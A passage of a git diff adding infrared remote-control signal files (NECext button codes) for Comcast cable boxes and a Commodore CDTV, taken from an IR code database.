00 +# +name: 7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: CH_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: CH_DN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: ENTER_/_MUSIC +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: ENTER_#PAD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: OK/SELECT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: OK_/_SELECT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: LAST +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: INPUT_TV/VCR +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: TV/VCR +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: FAV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: A +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1B 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1B 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: FF +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: FFWD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: FF +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: FAST_FOWARD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: RW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: REWIND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: REW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: REW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1F 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1F 00 00 00 +# +name: TUNER_JUMP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 23 00 00 00 +# +name: SWAP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 23 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 30 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 31 00 00 00 +# +name: HELP[ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 32 00 00 00 +# +name: HELP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 32 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 33 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 34 00 00 00 +# +name: ARROW_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 34 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 34 00 00 00 +# +name: DN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 35 00 00 00 +# +name: ARROW_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 35 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 35 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 35 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 36 00 00 00 +# +name: ARROW_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 36 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 36 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 37 00 00 00 +# +name: ARROW_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 37 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 37 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 39 00 00 00 +# +name: PAGE_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3A 00 00 00 +# +name: PAGE_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3A 00 00 00 +# +name: PAGE_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3A 00 00 00 +# +name: PAGE_DN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3B 00 00 00 +# +name: PAGE_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3B 00 00 00 +# +name: PAGE_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3B 00 00 00 +# +name: PAGE_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3B 00 00 00 +# +name: REPLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3C 00 00 00 +# +name: REPLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3C 00 00 00 +# +name: MY_DVR +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3D 00 00 00 +# +name: LIVE_TV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3E 00 00 00 +# +name: LIVE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3E 00 00 00 +# +name: 30_SECOND_SKIP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3F 00 00 00 +# +name: SKIP_30_SECONDS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3F 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 40 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Comcast/Cable Box/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Comcast/Cable Box/1,-1.ir new file mode 100644 index 000000000..626392c22 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Comcast/Cable Box/1,-1.ir @@ -0,0 +1,20 @@ +Filetype: IR signals file +Version: 1 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 14 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 15 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 17 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Comcast/Cable Box/14,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Comcast/Cable Box/14,-1.ir new file mode 100644 index 000000000..00bcc4b4b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Comcast/Cable Box/14,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: FF +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 1C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Comcast/Cable Box/15,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Comcast/Cable Box/15,-1.ir new file mode 100644 index 000000000..a5ddc8a42 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Comcast/Cable Box/15,-1.ir @@ -0,0 +1,56 @@ +Filetype: IR signals file +Version: 1 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2E 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2E 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2E 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2F 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2F 00 00 00 +# +name: VOLUME+ +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2F 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 3F 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 3F 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Comcast/Cable Box/27,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Comcast/Cable Box/27,-1.ir new file mode 100644 index 000000000..cb3920107 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Comcast/Cable Box/27,-1.ir @@ -0,0 +1,146 @@ +Filetype: IR signals file +Version: 1 +# +name: UP +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 02 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 03 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 04 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 06 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 07 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 0B 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 0C 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 0C 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 10 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 11 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 12 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 13 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 14 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 15 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 16 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 17 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 18 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 19 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 1D 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 1E 00 00 00 +# +name: A +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 2F 00 00 00 +# +name: B +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 30 00 00 00 +# +name: C +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 31 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 39 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Comcast/Cable Box/62,16.ir b/assets/resources/infrared/_CSV-IRDB_/Comcast/Cable Box/62,16.ir new file mode 100644 index 000000000..a7c14b1c8 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Comcast/Cable Box/62,16.ir @@ -0,0 +1,464 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 3E 10 00 00 +command: 00 00 00 00 +# +name: 4_-_TEST_3_-_ADJ_1ST +type: parsed +protocol: NECext +address: 3E 10 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 3E 10 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 3E 10 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 3E 10 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 3E 10 00 00 +command: 04 00 00 00 +# +name: 4_-_A +type: parsed +protocol: NECext +address: 3E 10 00 00 +command: 04 00 00 00 +# +name: 4_-_TEST_1_-_10% +type: parsed +protocol: NECext +address: 3E 10 00 00 +command: 04 00 00 00 +# +name: 4_-_TEST_4_-_ADJ_2ND +type: parsed +protocol: NECext +address: 3E 10 00 00 +command: 04 00 00 00 +# +name: 4_-_TEST_5_-_ADJ_DOW +type: parsed +protocol: NECext +address: 3E 10 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 3E 10 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 3E 10 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 3E 10 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 3E 10 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 3E 10 00 00 +command: 09 00 00 00 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: 3E 10 00 00 +command: 0A 00 00 00 +# +name: VOLUME_DOWN +type: parsed +protocol: NECext +address: 3E 10 00 00 +command: 0B 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 3E 10 00 00 +command: 0C 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 3E 10 00 00 +command: 0D 00 00 00 +# +name: CHAN_UP +type: parsed +protocol: NECext +address: 3E 10 00 00 +command: 0D 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 3E 10 00 00 +command: 0E 00 00 00 +# +name: CHAN_DOWN +type: parsed +protocol: NECext +address: 3E 10 00 00 +command: 0E 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 3E 10 00 00 +command: 0F 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 3E 10 00 00 +command: 20 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 3E 10 00 00 +command: 21 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 3E 10 00 00 +command: 22 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 3E 10 00 00 +command: 23 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 3E 10 00 00 +command: 24 00 00 00 +# +name: OK/SELECT +type: parsed +protocol: NECext +address: 3E 10 00 00 +command: 25 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 3E 10 00 00 +command: 25 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 3E 10 00 00 +command: 26 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 3E 10 00 00 +command: 27 00 00 00 +# +name: PAGE_UP +type: parsed +protocol: NECext +address: 3E 10 00 00 +command: 28 00 00 00 +# +name: PAGE_DOWN +type: parsed +protocol: NECext +address: 3E 10 00 00 +command: 29 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 3E 10 00 00 +command: 2A 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 3E 10 00 00 +command: 30 00 00 00 +# +name: PLAY_1ST +type: parsed +protocol: NECext +address: 3E 10 00 00 +command: 30 00 00 00 +# +name: PLAY_2ND +type: parsed +protocol: NECext +address: 3E 10 00 00 +command: 30 00 00 00 +# +name: PLAY-5% +type: parsed +protocol: NECext +address: 3E 10 00 00 +command: 30 00 00 00 +# +name: PLAY-5%_8 +type: parsed +protocol: NECext +address: 3E 10 00 00 +command: 30 00 00 00 +# +name: PLAY-5%_LONG +type: parsed +protocol: NECext +address: 3E 10 00 00 +command: 30 00 00 00 +# +name: PLAY-7% +type: parsed +protocol: NECext +address: 3E 10 00 00 +command: 30 00 00 00 +# +name: PLAY-7%_8 +type: parsed +protocol: NECext +address: 3E 10 00 00 +command: 30 00 00 00 +# +name: PLAY-7%_LONG +type: parsed +protocol: NECext +address: 3E 10 00 00 +command: 30 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 3E 10 00 00 +command: 31 00 00 00 +# +name: STOP_-_2ND +type: parsed +protocol: NECext +address: 3E 10 00 00 +command: 31 00 00 00 +# +name: STOP_-_5% +type: parsed +protocol: NECext +address: 3E 10 00 00 +command: 31 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 3E 10 00 00 +command: 32 00 00 00 +# +name: PAUSE_-_2ND +type: parsed +protocol: NECext +address: 3E 10 00 00 +command: 32 00 00 00 +# +name: PAUSE_-_5% +type: parsed +protocol: NECext +address: 3E 10 00 00 +command: 32 00 00 00 +# +name: REVERSE +type: parsed +protocol: NECext +address: 3E 10 00 00 +command: 33 00 00 00 +# +name: REVERSE_-_2ND +type: parsed +protocol: NECext +address: 3E 10 00 00 +command: 33 00 00 00 +# +name: REVERSE_-_5% +type: parsed +protocol: NECext +address: 3E 10 00 00 +command: 33 00 00 00 +# +name: FORWARD +type: parsed +protocol: NECext +address: 3E 10 00 00 +command: 34 00 00 00 +# +name: FORWARD_-_2ND +type: parsed +protocol: NECext +address: 3E 10 00 00 +command: 34 00 00 00 +# +name: FORWARD_-_5% +type: parsed +protocol: NECext +address: 3E 10 00 00 +command: 34 00 00 00 +# +name: REC +type: parsed +protocol: NECext +address: 3E 10 00 00 +command: 35 00 00 00 +# +name: REC_-_2ND +type: parsed +protocol: NECext +address: 3E 10 00 00 +command: 35 00 00 00 +# +name: REC_-_5% +type: parsed +protocol: NECext +address: 3E 10 00 00 +command: 35 00 00 00 +# +name: HD_ZOOM +type: parsed +protocol: NECext +address: 3E 10 00 00 +command: 50 00 00 00 +# +name: LAST +type: parsed +protocol: NECext +address: 3E 10 00 00 +command: 51 00 00 00 +# +name: FAV +type: parsed +protocol: NECext +address: 3E 10 00 00 +command: 52 00 00 00 +# +name: REPLAY +type: parsed +protocol: NECext +address: 3E 10 00 00 +command: 53 00 00 00 +# +name: MY_DVR +type: parsed +protocol: NECext +address: 3E 10 00 00 +command: 54 00 00 00 +# +name: LIVE +type: parsed +protocol: NECext +address: 3E 10 00 00 +command: 55 00 00 00 +# +name: HELP +type: parsed +protocol: NECext +address: 3E 10 00 00 +command: 56 00 00 00 +# +name: TV/VCR +type: parsed +protocol: NECext +address: 3E 10 00 00 +command: 57 00 00 00 +# +name: PIP_ON/OFF +type: parsed +protocol: NECext +address: 3E 10 00 00 +command: 58 00 00 00 +# +name: PIP_SWAP +type: parsed +protocol: NECext +address: 3E 10 00 00 +command: 59 00 00 00 +# +name: PIP_MOVE +type: parsed +protocol: NECext +address: 3E 10 00 00 +command: 5A 00 00 00 +# +name: PIP_CHANNEL_- +type: parsed +protocol: NECext +address: 3E 10 00 00 +command: 5C 00 00 00 +# +name: PIP_CHAN+_-TEST_TWK +type: parsed +protocol: NECext +address: 3E 10 00 00 +command: 5C 00 00 00 +# +name: A +type: parsed +protocol: NECext +address: 3E 10 00 00 +command: 60 00 00 00 +# +name: B +type: parsed +protocol: NECext +address: 3E 10 00 00 +command: 61 00 00 00 +# +name: C +type: parsed +protocol: NECext +address: 3E 10 00 00 +command: 62 00 00 00 +# +name: ON_DEMAND +type: parsed +protocol: NECext +address: 3E 10 00 00 +command: 64 00 00 00 +# +name: LANGUAGE +type: parsed +protocol: NECext +address: 3E 10 00 00 +command: 82 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Comcast/Digital Cable/15,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Comcast/Digital Cable/15,-1.ir new file mode 100644 index 000000000..69e884dbd --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Comcast/Digital Cable/15,-1.ir @@ -0,0 +1,20 @@ +Filetype: IR signals file +Version: 1 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2E 00 00 00 +# +name: VOLUME+ +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2F 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Comcast/Digital Cable/27,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Comcast/Digital Cable/27,-1.ir new file mode 100644 index 000000000..cb3920107 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Comcast/Digital Cable/27,-1.ir @@ -0,0 +1,146 @@ +Filetype: IR signals file +Version: 1 +# +name: UP +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 02 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 03 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 04 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 06 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 07 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 0B 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 0C 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 0C 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 10 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 11 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 12 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 13 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 14 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 15 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 16 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 17 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 18 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 19 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 1D 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 1E 00 00 00 +# +name: A +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 2F 00 00 00 +# +name: B +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 30 00 00 00 +# +name: C +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 31 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 39 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Comcast/HD Cable with DVR/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Comcast/HD Cable with DVR/0,-1.ir new file mode 100644 index 000000000..390df15bb --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Comcast/HD Cable with DVR/0,-1.ir @@ -0,0 +1,260 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: ON_DEMAND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: PPV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: PPV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: CH_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: CH_DN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: OK/SELECT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: LAST +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: FAV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1B 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: FF +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: RW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1F 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 30 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 31 00 00 00 +# +name: HELP[ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 32 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 34 00 00 00 +# +name: DN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 35 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 35 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 36 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 37 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 39 00 00 00 +# +name: PAGE_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3A 00 00 00 +# +name: PAGE_DN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3B 00 00 00 +# +name: SKIP_30_SECONDS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Comcast/HD Cable with DVR/14,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Comcast/HD Cable with DVR/14,-1.ir new file mode 100644 index 000000000..00bcc4b4b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Comcast/HD Cable with DVR/14,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: FF +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 1C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Commodore/Unknown_cdtv/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Commodore/Unknown_cdtv/0,-1.ir new file mode 100644 index 000000000..c8bd7ac7f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Commodore/Unknown_cdtv/0,-1.ir @@ -0,0 +1,164 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: cdtv +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 